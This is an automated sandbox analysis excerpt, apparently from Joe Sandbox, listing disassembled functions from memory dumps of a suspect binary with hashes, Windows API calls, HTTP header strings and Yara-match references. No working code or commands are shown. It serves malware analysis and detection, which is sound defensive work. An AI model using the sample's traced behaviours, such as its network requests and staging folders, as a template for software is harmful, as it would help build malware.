Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e1ff3e5d244bb890047ec65c716d69cb2fc0903e064cc0e6f8e2b1dfc1835a9
Instruction ID: 21189c8f427388016290a0d2d90ae718512594af816c11e4abce3cb04b984a38
Opcode Fuzzy Hash: 7e1ff3e5d244bb890047ec65c716d69cb2fc0903e064cc0e6f8e2b1dfc1835a9
Instruction Fuzzy Hash: 51519DF3D086145BE310592DEC84A66BBDBDBD4760F3B863AEA88A3744EC75490A41D2

Function 0086FBEA Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ee9dbcb26d0da48c806610f17119350f3db54d65a2a949b7e2ae90829a3afea
Instruction ID: 5295fe6d8b3e1720a42da72f438a037eb95fdd18f388d8c47fedd31592d8e396
Opcode Fuzzy Hash: 1ee9dbcb26d0da48c806610f17119350f3db54d65a2a949b7e2ae90829a3afea
Instruction Fuzzy Hash: 0E519AB3E052209BE300192DDC497A7BA96DBD5370F2B033DDEA9937C0D9795D0942C6

Function 009AE7D5 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e4afd652bf54f7e008c39181fce8f868f805f55f9ba96fe65d4758b3b27df1e
Instruction ID: de96a8d7f37ec614f87d8ecb213ccd8469700252321d401eea98835659997d2b
Opcode Fuzzy Hash: 8e4afd652bf54f7e008c39181fce8f868f805f55f9ba96fe65d4758b3b27df1e
Instruction Fuzzy Hash: 6941F5B254D304AFE301AE09DC81A7AFBE9EFD5761F12482EF6D487341E6758844C693

Function 04D196AC Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: 10f1f887b11a26a71700000345d41ea2f101ff826a54715998342cc44c7043d3
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: 4B515CB1E00615EFEB28CF54E8A57AAB7F4FB48314F14806AD805EB264D375E941CF98

Function 008258DC Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5883afabc8c931a0fef74b49f2c9e6a93da2eacfd84e7f18f8a18d22c0424e36
Instruction ID: ffb943134430600fb27de30252528333bc90e091e4414ec3eeabb66b7bdaf6b3
Opcode Fuzzy Hash: 5883afabc8c931a0fef74b49f2c9e6a93da2eacfd84e7f18f8a18d22c0424e36
Instruction Fuzzy Hash: 8141E672588A3E8FDB05CE14F4821EF3BA1FF56334B24422AC442C7A42D6725DD2DB99

Function 008B782B Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c02bf48b1004074f1f357ff3f42b7b34e50391ea0512f9729012c7b1e14cc48
Instruction ID: 17d45a7dfbd5e45a9b11e4adf4c9cb90081a09d8c2d1687b12c708b76bff82bb
Opcode Fuzzy Hash: 8c02bf48b1004074f1f357ff3f42b7b34e50391ea0512f9729012c7b1e14cc48
Instruction Fuzzy Hash: 7A3135F3E583144BF3185968DCD53B5A681E750324F6F023DEF89A77C0E8BA8C018685

Function 00A20315 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45386fcc49f5d7a1bf402502ebf52c8a7df25c19c2e7f41772a540f47e5104d1
Instruction ID: 3b6bf9d896afd456b9eba22a67f0b22ed638c29681893cb6fea571f2a02211a2
Opcode Fuzzy Hash: 45386fcc49f5d7a1bf402502ebf52c8a7df25c19c2e7f41772a540f47e5104d1
Instruction Fuzzy Hash: C421B8B311C304EFD705BE28EC859ABFBE5EB98220F16092DE6D483710E73594009A53

Function 00AAEE5A Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e47f373df0afc56b9a4865aab38bdcf9c2012e5260e79424fbfd612c8faab6d
Instruction ID: 8ab096933b308e607a420cf1d515d77ced47ff0c26a515c29057f3eedf1ae32f
Opcode Fuzzy Hash: 6e47f373df0afc56b9a4865aab38bdcf9c2012e5260e79424fbfd612c8faab6d
Instruction Fuzzy Hash: AF2116B240C600DFE742BF68D8816AEFBE5FF58320F160D2DE6C482210E73594908B87

Function 0040B690 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b545b07da7e7745530abcd8f67b80a540579b97e0dd86f1b90800f2e494ad7bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F1115B7720004243D604862DCDF45BBA395EBC5320B2C477BD0516BBD4D33BD841968D

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 04B5B8F7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 315dc02276a743d7f8c24c50dfe88152bb5dfd181608b4b0725d703b30596b13
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 6511E7B724804247D6548A6DD4F87B6F795EFE5320B2D42FAD8814B7BAD222B144DA00

Function 04D1AA90 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 5bbc58c26bbfb6ebecc0ce3dc1a0e5f18387d08d2348d4f68b0cc81751ac864e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 6D112B7724318163D604CA3DFAB89B7A796FBC532072D837BD8924B778D122F545A600

Function 00EECABB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eec000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 109665f37e16f583026caf2642f8d3a9add09efded9e3daa57ccd56d3e555a4c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 7E11C272340104AFD754CF96DC82FA273EAEB89320B298065ED08CB306D675EC02C760

Function 04B50D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: a9a372e72a0caa430201dbf1f27ff0e92a8f4d5767ac8951d198d37f9d6f0fe4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3001A276A006048FDF21EF24C814BAAB3E5EBC6316F5548E5ED0A9B291E774B9418F90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

kernel32.dll, xrefs: 00409BC0
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
SleepConditionVariableCS, xrefs: 00409BD1
WakeAllConditionVariable, xrefs: 00409BDD

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

sqrt, xrefs: 0041C4E7
asin, xrefs: 0041C4D5
acos, xrefs: 0041C4DE
log10, xrefs: 0041C3EA, 0041C3F9
exp, xrefs: 0041C427, 0041C48C
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
log, xrefs: 0041C405, 0041C414

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BE11
csm, xrefs: 0040BD65
csm, xrefs: 0040BCF8

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 100041DB
csm, xrefs: 10004287
csm, xrefs: 1000416E

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04B5BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B5C041
___TypeMatch.LIBVCRUNTIME ref: 04B5C14F
_UnwindNestedFrames.LIBCMT ref: 04B5C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B5C2BC

Strings

csm, xrefs: 04B5C078
csm, xrefs: 04B5BF5F
csm, xrefs: 04B5BFCC

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: e83397c46159cdec50bed3ac76d9e1d88e90f26eef1d7b156bb1fe2c9a7c49b1
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 31B13471800309AFEF15EFA4D880AAEFBB6EF04314B14459AEC156B221D775FA61CB91

Function 04D1B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D1B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D1B2E8
_UnwindNestedFrames.LIBCMT ref: 04D1B43A
CallUnexpected.LIBVCRUNTIME ref: 04D1B455

Strings

csm, xrefs: 04D1B165
csm, xrefs: 04D1B211
csm, xrefs: 04D1B0F8

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: bac4b2bd35a99726dd9da4778745c43f749b37fdec81d0030b6f39d644add51c
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 44B14871900609FFDF19DFA4E8809AEBBB5FF04318B15815AEC116B225D770FA61CBA1

Function 04B59E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B59DE2), ref: 04B59E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B59DE2), ref: 04B59E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B59DE2), ref: 04B59E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B59E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B59E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B59DE2), ref: 04B59E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B59E8B
CloseHandle.KERNEL32(0042D060,?,?,04B59DE2), ref: 04B59E9B

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 114aca349e9446cb3140817a8215e72cefff1a56a962bd188af4019860c5a3ad
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 7D015271B40711EBD7205BB4FC09B977AE8EB48B05B504575BD05E2171DB68D80B8A68

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 04B64033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B640B9

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: e18b7271fb970160145d15685fb4ea2e29065bd8e312b6d866313cd3be2e7049
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 2BB16972A00765AFEB11CF68CC81BAE7FA5EF55314F1441E5E906AF281D278B901CBA4

Function 04D231CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D23252

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: ded5fc1761a6bf1c0f9cdc6b3a0c9b7ebd8aa7d600dec1e908b46a968bfb65d8
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 4BB15832A00675AFEB128F78CD81BAE7BA5FF65318F144195ED04AB281D678F901C7A0

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

